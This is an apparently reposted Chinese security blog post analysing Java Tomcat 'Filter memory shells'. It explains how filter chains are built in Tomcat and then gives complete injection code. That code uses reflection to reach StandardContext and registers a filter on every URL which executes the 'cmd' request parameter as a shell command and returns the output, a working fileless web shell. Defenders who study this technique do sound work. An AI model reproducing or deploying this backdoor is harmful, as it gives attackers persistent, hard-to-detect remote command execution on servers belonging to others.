Java内马尔安全 - Filter内存马分析

admin 2025年5月20日03:57:23评论1 views字数 5115阅读17分3秒阅读模式

Filter内存马

1.基础知识

Filter正常是用来处理请求和相应的处理和过滤,如下图:

Java内马尔安全 - Filter内存马分析

来自 --- 中间件内存马注入&冰蝎连接

如上图,Filter类似于一个网关的作用,请求需要先通过定义的Filter(可能是一个或多个),然后再调用到Servlet。

FilterDef: 存放FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等,

FilterDefs:它只是过滤器的抽象定义.

FilterConfigs: 这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;

FilterMaps: 用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs,从而确定要执行的过滤器链;

FilterChain: 由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。

2.原理分析

因为在Servlet容器的文章有提到,各个容器之前是父子关系,层层嵌套的也意味着上层具有下层的信息,而Filter是在Wrapper容器中,在Context调用完成之后会先调用Filter然后在调用service方法去触发servlet。当我们定义filter的时候就可以把信息加入到context中,使得当web应用不重启定义的filter就不会失效。

关键点在于 理解的就是为什么我们在standardContext里增加filterDef、filterConfig、filterMap之后就能够动态注册。关键代码位于ApplicationFilterFactory#createFilterChain(...)中,以下只摘抄部分进行解释:

当调用到该方法后,先判断 servlet 存不存在:

if (servlet == null) {returnnull;}

判断request对象的父类是不是Request。获取当前的FilterChain,如果没有就创建一个,设置到当前的请求中。

ApplicationFilterChainfilterChain=null;if (request instanceof Request) {Requestreq= (Request) request;if (Globals.IS_SECURITY_ENABLED) {// Security: Do not recycle                filterChain = newApplicationFilterChain();            } else {                filterChain = (ApplicationFilterChain) req.getFilterChain();if (filterChain == null) {                    filterChain = newApplicationFilterChain();                    req.setFilterChain(filterChain);                }            }        } else {// Request dispatcher in use            filterChain = newApplicationFilterChain();        }

获取 standardContext 之后,通过调用 findFilterMaps() 获取所有有定义的filterMap,

        StandardContext context = (StandardContext) wrapper.getParent();        filterChain.setDispatcherWrapsSameObject(context.getDispatcherWrapsSameObject());        FilterMap filterMaps[] = context.findFilterMaps();        // If there are no filter mappings, we are done        if (filterMaps == null || filterMaps.length == 0) {            return filterChain;        }

遍历获取到的 filterMap 判断是否有匹配 Dispatcher 和 URL,如果有获取 FilterConfig 经过判断后,添加到filterChain中,之后还有 servlet 匹配的逻辑是相同的就是匹配的内容不同。

// Add the relevant path-mapped filters to this filter chainfor (FilterMap filterMap : filterMaps) {if (!matchDispatcher(filterMap, dispatcher)) {continue;            }if (!matchFiltersURL(filterMap, requestPath)) {continue;            }ApplicationFilterConfigfilterConfig=                    (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());if (filterConfig == null) {// FIXME - log configuration problemcontinue;            }            filterChain.addFilter(filterConfig);        }
Java内马尔安全 - Filter内存马分析

根据以上的分析,在运行过程中,首先创建一个filterChain,然后获取到当前的 standardContext ,通过它获取已定义的 filterMap,然后再与 Dispatcher、URL、Servlet 进行匹配,匹配成功,往 filterChain 添加 filterConfigs。

3.代码实现

// 获取standardContextServletContextservletContext= request.getSession().getServletContext();// 获取ApplicationContextFieldapplicationContextFacadeField= ApplicationContextFacade.class.getDeclaredField("context");  applicationContextFacadeField.setAccessible(true);ApplicationContextapplicationContext= (ApplicationContext) applicationContextFacadeField.get(servletContext);  #获取StandardContextFieldapplicationContextField= ApplicationContext.class.getDeclaredField("context");  applicationContextField.setAccessible(true);StandardContextstandardContext= (StandardContext) applicationContextField.get(applicationContext);// 创建FilterFilterfilter=newFilter(){@Overridepublicvoidinit(FilterConfig filterConfig)throws ServletException{}@OverridepublicvoiddoFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {if (request.getParameter("cmd")!=null){Stringos= System.getProperty("os.name");booleanisLinux=true;if (os != null && os.toLowerCase().contains("win")){                    isLinux = false;                }                String[] exp = isLinux ? newString[]{"sh","-c",request.getParameter("cmd")} : newString[]{"cmd.exe","/c",request.getParameter("cmd")};InputStreamin= Runtime.getRuntime().exec(exp).getInputStream();Scanners=newScanner(in).useDelimiter("\A");Stringoutput= s.hasNext() ? s.next() : "";                response.getWriter().write(output);                response.getWriter().flush();            }            filterChain.doFilter(servletRequest,servletResponse);    }@Overridepublicvoiddestory(){}  };// 配置filterDefFilterDeffilterDef=newFilterDef();  filterDef.setFilter(filter);  filterDef.setFilterName("MyFilter");  filterDef.setFilterClass(filter.getClass().getName());  standardContext.addFilterDef(filterDef);// 配置filterConfig// ApplicationFilterConfig的构造方法是default,那只能通过反射获取  Constructor<ApplicationFilterConfig> applicationFilterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class)  applicationFilterConstructor.setAccessible(true);ApplicationFilterConfigapplicationFilterConfig= applicationFilterConfigConstructor.newInstance(standardContext,filterDef);FieldfilterConfigsField= standardContext.getClass().getDeclaredField("filterConfigs");  filterConfigsField.setAccessible(true);Mapmap= (Map) filterConfigsField.get(standardContext);  map.put("MyFilter",applicationFilterConfig);//配置filterMapFilterMapfilterMap=newFilterMap();  filterMap.addURLPattern("/*");  filterMap.setFilterName("MyFilter");  filterMap.setDispatcher(DispatcherType.REQUEST.name());  standardContext.addFilterMapBefore(filterMap); //设置优先

原文始发于微信公众号(Gh0xE9):Java内马尔安全 - Filter内存马分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月20日03:57:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java内马尔安全 - Filter内存马分析http://cn-sec.com/archives/4020273.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息